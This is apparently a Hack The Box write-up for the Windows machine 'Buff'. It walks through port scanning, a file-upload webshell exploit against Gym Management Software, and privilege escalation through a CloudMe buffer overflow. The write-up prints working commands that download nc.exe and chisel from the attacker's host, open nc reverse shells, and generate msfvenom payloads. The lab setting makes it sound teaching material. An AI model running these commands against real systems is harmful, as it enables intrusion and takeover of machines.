Windows boxes seem to be more intimidating than linux boxes to me, this one is no different. This machine however is quite straightforward which makes the process supposedly straightforward. There are a lot of failed attempts I didn’t write here, but if we look at the big picture, it’s quite similar to linux. Exploit a public facing service to get a foothold, do some lateral movement (this box doesn’t have that), and escalate privileges by exploiting a service only available locally. It’s CVE all the way just like in other easy rated linux boxes, this box teaches you more on how to get things working when we’re attacking on a windows environment.
Let’s put the IP 10.10.10.198
as buff.htb
into our /etc/hosts
file, then masscan
and nmap
it.
masscan --rate=200 -e tun0 -p1-65535,U:1-65535 10.10.10.198 | tee masscan.out
...
Discovered open port 8080/tcp on 10.10.10.198
Discovered open port 7680/tcp on 10.10.10.198
nmap -A -oN nmap.out buff.htb -p`awk '{print $4}' masscan.out | tr -d '[/tcp/udp]' | tr '\n' ',' | sed 's/.$//'`
...
PORT STATE SERVICE VERSION
7680/tcp open pando-pub?
8080/tcp open http Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
# Nmap 7.80 scan initiated Wed Sep 2 10:17:59 2020 as: nmap -A -oA nmap -p8080,7680 10.10.10.198
Nmap scan report for buff.htb (10.10.10.198)
Host is up (0.77s latency).
PORT STATE SERVICE VERSION
7680/tcp open pando-pub?
8080/tcp open http Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
|_http-title: mrb3n's Bro Hut
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Network Distance: 2 hops
TRACEROUTE (using port 8080/tcp)
HOP RTT ADDRESS
1 322.61 ms 10.10.14.1
2 793.96 ms buff.htb (10.10.10.198)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Sep 2 10:20:06 2020 -- 1 IP address (1 host up) scanned in 128.02 seconds
The service name is not detected and there’s a better port so we’re skipping this one.
Try the more likely attack surface.
Browse around the webpage, we’ll eevntually reach the last tab.
Now we have a software name (Gym Management Software), version (1.0), and possibly vendor (Projectworlds.in).
Googled “Gym Management Software 1.0 projectworlds.in exploit” we got this RCE exploit on edb.
The way the exploit works is that it’s an (Unauthenticated) Unrestricted File Upload by bypassing some filters, that also renames the uploaded file predictably. Because of this, we can upload a webshell, and access it to have it execute.
The exploit depends on upload.php
not checking for an authenticated user, so let’s check it.
Looks like it’s asking for the file to be uploaded, so let’s run our exploit.
We got a shell!
It doesn’t look like we’re a service account, but rather a user? Maybe we’re immediately user? Little bit of enumeration and we found the user flag.
Turns out we got user immediately!
Further enumeration, roaming around the system, the webshell gets pretty annoying so I tried to find a way to get a reverse shell. We can transfer nc.exe
for a basic reverse shell. We’ll spin up a simple webserver to host our nc.exe
file, and get it from the target with powershell.
powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://10.10.14.43:8088/nc.exe', 'nc.exe')"
c:\xampp\htdocs\gym\upload\nc.exe 10.10.14.55 1234 -e cmd.exe
Now that we have a better shell, we can roam around and enumerate more comfortably. We find a file with possibly the version number in shaun’s downloads/
dir.
After googling about what this software is, it looks like it’s a file storage and synchronization service, so something like gdrive? The default port seems to be 8888 so let’s see if it’s already running on our system.
Looks like it! Googled “cloudme 1112 privilege escalation” and found this buffer overflow exploit on edb. The payload of the exploit is just going to run calculator, luckily the msfvenom command is noted in the exploit so we can just follow it.
msfvenom -a x86 -p windows/exec CMD='C:\xampp\htdocs\gym\upload\nc.exe -e cmd.exe 10.10.14.43 1235' -b '\x00\x0A\x0D' -f python -v payload
Then we replace the original payload with our new one that just runs the same reverse shell. The script runs on python so we need to check if our target has that installed first.
Doesn’t seem like it, and we don’t know if we even have privileges to install python on this machine even if we get a windows python installer in here. So maybe instead of trying to bring python into our target machine, why not try to bring the vulnerable service to our attacker machine, where we already have python? Googling for port forwarding from windows to linux, we end up with 2 choices, plink
and chisel
. Googled some more about the details of those 2, and it seems that plink
requires the use of an ssh server to connect to, while chisel
can act as the sender and reciever just like nc. So we’ll go with the easier option here which is chisel
.
Googled “how to use chisel for port forwarding” and found this article. We can find precompiled chisel
binaries from the releases here so we don’t need to build anthing and risk any inconsistencies. Then we transfer over the windows version,
powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://10.10.14.43:8088/chisel-x64.exe', 'chisel.exe')"
and we run our own linux version.
./chisel-linux server -p 8088 --reverse
Now we connect from target machine to our attacker machine.
.\chisel.exe client 10.10.14.43:8088 R:8888:127.0.0.1:8888
It appears to be connected, is it though?
It is! We see the connection gets picked up on our attacker machine, then we run our python exploit, but nothing happens. Let’s try to run the original calculator payload, and the look if calc.exe
is actually being run.
It is! Then what’s happening here? Let’s try to make the payload fit a bit more snugly, first we look at the system.
We see that the architecture is actually x64 and not x86, then how did the calculator run? Is calc.exe
an x86 binary or something? Anyway we can try to remove the -a
flag now and see if that helps.
msfvenom -p windows/exec CMD='C:\xampp\htdocs\gym\upload\nc.exe -e cmd.exe 10.10.14.43 1235' -b '\x00\x0A\x0D' -f python -v payload
After a bit of trial and error, we got root!
‹ Previous in Pentest: Sneakymailer |